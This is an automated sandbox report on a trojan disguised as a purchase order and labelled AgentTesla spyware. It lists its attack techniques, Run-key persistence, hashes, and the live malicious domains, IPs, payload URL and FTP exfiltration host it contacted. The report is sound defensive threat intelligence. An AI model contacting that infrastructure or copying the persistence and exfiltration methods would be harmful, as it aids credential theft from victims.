Source: Yara match	File source: 6.2.Xpnzea.exe.3d34a70.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1652064396.0000000003D1F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1623982738.0000000000772000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2691701821.0000000002A3E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1629857451.00000000028CE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1479691061.0000000003A03000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2691701821.00000000029FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1709180379.0000000002801000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1627992334.00000000030FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1709180379.000000000284F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1739735884.0000000003A2A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1652064396.0000000003DCB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1708492205.0000000002B9C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1472676483.0000000002C6C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1629857451.0000000002881000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO_9876563647-FLOWTRONIX (FT)UUE.exe PID: 2944, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3280, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Xpnzea.exe PID: 6876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 4836, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Xpnzea.exe PID: 4260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3848, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	1 Exfiltration Over Alternative Protocol	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	311 Process Injection	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	2 Obfuscated Files or Information	Security Account Manager	311 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	2 Software Packing	NTDS	12 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Virtualization/Sandbox Evasion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	311 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PO_9876563647-FLOWTRONIX (FT)UUE.exe	47%	ReversingLabs	Win32.Trojan.AgentTesla
PO_9876563647-FLOWTRONIX (FT)UUE.exe	33%	Virustotal		Browse
PO_9876563647-FLOWTRONIX (FT)UUE.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\Xpnzea.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Xpnzea.exe	47%	ReversingLabs	Win32.Trojan.AgentTesla
C:\Users\user\AppData\Roaming\Xpnzea.exe	33%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
wymascensores.com	3%	Virustotal		Browse
ftp.alternatifplastik.com	3%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://stackoverflow.com/q/11564914/23354;	0%	URL Reputation	safe
https://stackoverflow.com/q/11564914/23354;	0%	URL Reputation	safe
https://stackoverflow.com/q/2152978/23354	0%	URL Reputation	safe
https://github.com/mgravell/protobuf-neti	0%	Virustotal		Browse
https://wymascensores.com/servex/Evzbwt.mp3	4%	Virustotal		Browse
https://wymascensores.com	6%	Virustotal		Browse
http://ftp.alternatifplastik.com	3%	Virustotal		Browse
https://github.com/mgravell/protobuf-net	0%	Virustotal		Browse
https://github.com/mgravell/protobuf-netJ	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
wymascensores.com	67.212.175.162	true	true	3%, Virustotal, Browse	unknown
ftp.alternatifplastik.com	5.2.84.236	true	true	3%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://wymascensores.com/servex/Evzbwt.mp3	true	4%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/mgravell/protobuf-net	PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1485888080.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://github.com/mgravell/protobuf-neti	PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1485888080.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://stackoverflow.com/q/14436606/23354	PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1472676483.00000000028F8000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1485888080.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1627992334.0000000002C98000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1708492205.00000000028F7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.dyn.com/	PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003A03000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1472676483.0000000002C6C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.1623982738.0000000000772000.00000040.00000400.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1652064396.0000000003D1F000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1627992334.00000000030FE000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1652064396.0000000003DCB000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1708492205.0000000002B9C000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1739735884.0000000003A2A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-netJ	PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1485888080.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1652064396.00000000046A6000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1739735884.0000000004306000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://wymascensores.com	PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1472676483.00000000028B1000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1627992334.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1708492205.00000000028BC000.00000004.00000800.00020000.00000000.sdmp	false	6%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1472676483.00000000028B1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.1629857451.00000000028CE000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1627992334.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1709180379.000000000284F000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1708492205.00000000028BC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000009.00000002.2691701821.0000000002A3E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/11564914/23354;	PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1485888080.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://stackoverflow.com/q/2152978/23354	PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1485888080.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ftp.alternatifplastik.com	InstallUtil.exe, 00000002.00000002.1629857451.00000000028CE000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.1629857451.00000000028DC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1709180379.000000000285D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1709180379.000000000284F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000009.00000002.2691701821.0000000002A3E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000009.00000002.2691701821.0000000002A4C000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
67.212.175.162	wymascensores.com	United States		32475	SINGLEHOP-LLCUS	true
5.2.84.236	ftp.alternatifplastik.com	Turkey		3188	ALASTYRTR	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523145
Start date and time:	2024-10-01 07:30:28 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO_9876563647-FLOWTRONIX (FT)UUE.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/2@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 89% Number of executed functions: 458 Number of non-executed functions: 28
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:31:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Xpnzea C:\Users\user\AppData\Roaming\Xpnzea.exe
07:31:40	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Xpnzea C:\Users\user\AppData\Roaming\Xpnzea.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
67.212.175.162	BITUMEN_60-70_-_JUMBO_Specification.exe	Get hash	malicious	FormBook, NSISDropper	Browse	www.northjerseylocksmith.net/2nbp/?ab=tQVjVQ6bjwqqy2lbRpj5JhQnGfuizPNGdMEYuGKFTCiSTnfJxBy0WSIOyM01nCZIZatbO6YbONw5Q3bQ/V1g60uhCq/kzTYQUQ==&wZHp=LTklpdd0lp
67.212.175.162	EL-515-_HEAT_TRACING.exe	Get hash	malicious	FormBook, NSISDropper	Browse	www.northjerseylocksmith.net/2nbp/?I8Z=tQVjVQ6bjwqqy2lbRpj5JhQnGfuizPNGdMEYuGKFTCiSTnfJxBy0WSIOyM01nCZIZatbO6YbONw5Q3bQ/V1tnGq8XaOUlQYxDpzveej3TzCy&WN6=OLgLTlRhCRRxTxN
5.2.84.236	Richardson Electronics, LTD. PRD10221301UUE.exe	Get hash	malicious	AgentTesla	Browse
	PURCHASE ORDER ADDISON-6378397379UUE.exe	Get hash	malicious	AgentTesla	Browse
	Teklif-6205018797-6100052155-UUE.exe	Get hash	malicious	AgentTesla	Browse
	Offer-CNVN-82927-VIETNAM.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	OFFER-876355- Hydraulic Partner, LLC.PDF..........................exe	Get hash	malicious	AgentTesla	Browse
	Product Specification Details 8576534-872.exe	Get hash	malicious	AgentTesla	Browse
	Teklif 8822321378 .exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	https://www.rxjapan.jp/?wptouch_switch=desktop&redirect=http://5ln.gpr.carfield.com.tr./?YYY%3A%2F%2F%23.bWljaGFlbC5keWtlc0BjZXFsZC5vcmcuYXU=	Get hash	malicious	Unknown	Browse
	KAL_00192839403-28122021.cmd.exe	Get hash	malicious	AgentTesla	Browse
	Halkbank.cmd.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
wymascensores.com	Richardson Electronics, LTD. PRD10221301UUE.exe	Get hash	malicious	AgentTesla	Browse	67.212.175.162
	PURCHASE ORDER ADDISON-6378397379UUE.exe	Get hash	malicious	AgentTesla	Browse	67.212.175.162
	Teklif-6205018797-6100052155-UUE.exe	Get hash	malicious	AgentTesla	Browse	67.212.175.162
	RFQ____RM quotation_JPEG IMAGE.img.exe	Get hash	malicious	Snake Keylogger	Browse	67.212.175.162
	Su documento de env#U00edo--------pdf.exe	Get hash	malicious	Unknown	Browse	67.212.175.162
	Su documento de env#U00edo--------pdf.exe	Get hash	malicious	Unknown	Browse	67.212.175.162
	1715875158543a5e3b677362bc060cf9b6a7a69e2457d0c48ef2d6bda0e2ce3c4ddc38a017752.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	67.212.175.162
	Teklif 8822321378 .exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	67.212.175.162
	rDocumentodeembarque.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	67.212.175.162
	ORGB.exe	Get hash	malicious	AgentTesla	Browse	67.212.175.162
ftp.alternatifplastik.com	Richardson Electronics, LTD. PRD10221301UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	PURCHASE ORDER ADDISON-6378397379UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Teklif-6205018797-6100052155-UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Offer-CNVN-82927-VIETNAM.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	5.2.84.236
	OFFER-876355- Hydraulic Partner, LLC.PDF..........................exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Product Specification Details 8576534-872.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SINGLEHOP-LLCUS	https://sandbox-2.digital68.com/	Get hash	malicious	Unknown	Browse	198.143.164.252
	https://ebookkeepers.com.pk/	Get hash	malicious	Unknown	Browse	198.143.164.252
	http://dev-bdvonlinecreditos.pantheonsite.io/	Get hash	malicious	Unknown	Browse	198.143.164.252
	https://dev-bdvemprendeven.pantheonsite.io/	Get hash	malicious	Unknown	Browse	198.143.164.252
	http://dev-cdn370.pantheonsite.io	Get hash	malicious	Unknown	Browse	198.143.164.252
	Richardson Electronics, LTD. PRD10221301UUE.exe	Get hash	malicious	AgentTesla	Browse	67.212.175.162
	PURCHASE ORDER ADDISON-6378397379UUE.exe	Get hash	malicious	AgentTesla	Browse	67.212.175.162
	Teklif-6205018797-6100052155-UUE.exe	Get hash	malicious	AgentTesla	Browse	67.212.175.162
	PO-78140924.BAT.PDF.exe	Get hash	malicious	FormBook	Browse	172.96.187.60
	RFQ____RM quotation_JPEG IMAGE.img.exe	Get hash	malicious	Snake Keylogger	Browse	67.212.175.162
ALASTYRTR	Richardson Electronics, LTD. PRD10221301UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	PURCHASE ORDER ADDISON-6378397379UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Teklif-6205018797-6100052155-UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	BROU_Copia de Pago_PDF.exe	Get hash	malicious	Unknown	Browse	5.2.84.221
	BROU_Copia de Pago_PDF.exe	Get hash	malicious	Unknown	Browse	5.2.84.221
	Offer-CNVN-82927-VIETNAM.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	5.2.84.236
	eqqjbbjMlt.elf	Get hash	malicious	Unknown	Browse	5.2.85.36
	OFFER-876355- Hydraulic Partner, LLC.PDF..........................exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Product Specification Details 8576534-872.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	http://www.idecon.com.tr	Get hash	malicious	Unknown	Browse	5.2.84.231

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	2zYP8qOYmJ.exe	Get hash	malicious	Unknown	Browse	67.212.175.162
	RFQ-00032035.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	67.212.175.162
	RFQ -SCHOTTEL Type SRP200.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	67.212.175.162
	Purchase Order 007823-PO# 005307.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	67.212.175.162
	2zYP8qOYmJ.exe	Get hash	malicious	Unknown	Browse	67.212.175.162
	invoice.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	67.212.175.162
	file.exe	Get hash	malicious	Unknown	Browse	67.212.175.162
	file.exe	Get hash	malicious	Unknown	Browse	67.212.175.162
	file.exe	Get hash	malicious	Unknown	Browse	67.212.175.162
	file.exe	Get hash	malicious	Unknown	Browse	67.212.175.162

Process:	C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	537600
Entropy (8bit):	5.449510671154793
Encrypted:	false
SSDEEP:	12288:zjEd+1wfcT78ZE9mBMnliO+CDbX1AlVtFtu6B:zjEdRfcT78ZE9munli/CDbXulDHu6B
MD5:	0FD28ED18E522B9EEF69B57AA8BDBF8F
SHA1:	5EBA649F7E0CEAD07E1788973B9DEAE4C54E7A46
SHA-256:	3996FDEC3CEAC6027730777EC99F6870A9C76E3904A1D2C78CEF954A7484090E
SHA-512:	35C1798D1088999A2C605134525FC6D17BCBF5C9F25910C295992F9FA599965A857505F0570614B62DE65CD9A24525636F6144D20F014E2E661DF781C45B90D9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47% Antivirus: Virustotal, Detection: 33%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....o.f............................I... ...`....@.. ....................................`..................................H..K....`............................................................................... ............... ..H............text....)... ..................... ..`.rsrc........`.......,..............@..@.reloc...............2..............@..B.................H......H.......p...................................................................(.......(.....0..W....... ........8........E............8....("...(........o.... ....~....{'...9....& ....8.......(....&~..........~....*..0.......... ........8........E................8.....s...... ....~....{....:....& ....8........E........'.......8....... ....~....{....9....& ....8.......r...p(...... ....~....{....9....& ....8........E........8..........9[... ....~....{....:....& ....8......

C:\Users\user\AppData\Roaming\Xpnzea.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.449510671154793
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01%
File name:	PO_9876563647-FLOWTRONIX (FT)UUE.exe
File size:	537'600 bytes
MD5:	0fd28ed18e522b9eef69b57aa8bdbf8f
SHA1:	5eba649f7e0cead07e1788973b9deae4c54e7a46
SHA256:	3996fdec3ceac6027730777ec99f6870a9c76e3904a1d2c78cef954a7484090e
SHA512:	35c1798d1088999a2c605134525fc6d17bcbf5c9f25910c295992f9fa599965a857505f0570614b62de65cd9a24525636f6144d20f014e2e661df781c45b90d9
SSDEEP:	12288:zjEd+1wfcT78ZE9mBMnliO+CDbX1AlVtFtu6B:zjEdRfcT78ZE9munli/CDbXulDHu6B
TLSH:	53B45F07B94F99F1E9441F7AC69B15404BA9D69037EFC71E798A23A607C37AAFC01207
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....o.f.................*...........I... ...`....@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x48490e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FA6F9C [Mon Sep 30 09:30:04 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
